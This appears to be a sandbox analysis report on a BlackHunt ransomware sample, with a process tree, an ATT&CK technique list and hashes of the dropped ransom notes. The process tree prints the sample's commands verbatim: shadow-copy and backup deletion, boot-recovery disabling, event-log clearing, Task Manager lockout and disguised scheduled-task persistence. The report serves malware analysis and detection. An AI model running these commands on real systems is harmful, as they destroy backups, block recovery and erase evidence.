    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe" /F
  2⤵
  PID:1688
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2556
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3020
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2052
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2228
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1420
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2084
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:268
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:684
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:792
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:876
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3444
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3872
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4016
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1188
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4044
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2440
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2972
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4012
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3728
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3612
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3800
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3932
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3908
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3952
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3168
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2124
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    PID:1056
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe"
  2⤵
  - Deletes itself
  PID:3116
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2992

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1796

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2348

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2212

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2472

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\Program Files\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
26d54f61134d48825897f95090d76532

SHA1
b0b704ea6fa697844e27f6d8d5c6c535827fe478

SHA256
719829a64daf7bb27ead95e09129bc18090ecfe553499a26b84996965035b6a3

SHA512
072bac801bb5a511844348c47a6d88b8981c6c8e7ab3c0581d4f28a1621c8b0077dbd85b3b00992317ab1b4e5d749073864fe3b765bb50601278b7829b506ddc

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
893e2292c67e30ab3bf01163e9f7f656

SHA1
7040573c6d9119e344bc01398b0ea99266a78a94

SHA256
437155ae9830a654cbcedebc6ab17ff251e20ce30a8a70a241eabb41934ebaec

SHA512
d7b00fc63457efee818bfff79af9f1ed1416c867eadd41f1fdfd129dcc9422a7eef000259cde3d3a9766418d08d176595d826be08d15b01da4d8cb20bdc853ab

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
ece1ac22f4fbd462e4dea8ee2b6e361b

SHA1
ed5ef28d8154084183adee876b11f5acdbf26b01

SHA256
5ffc7ad152a02fa95b790a43013f4897dda5fd257c4ed1d4013811695f1a6ac0

SHA512
576f2c50785722ec7ebd0e8a870d0f4ef59614a6bf8d1e9fb336011b17f5ae6c599de3f0ed4c96c59e662179b9ccfb1ae0779df58b13497a27adb8838bc3aafd

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads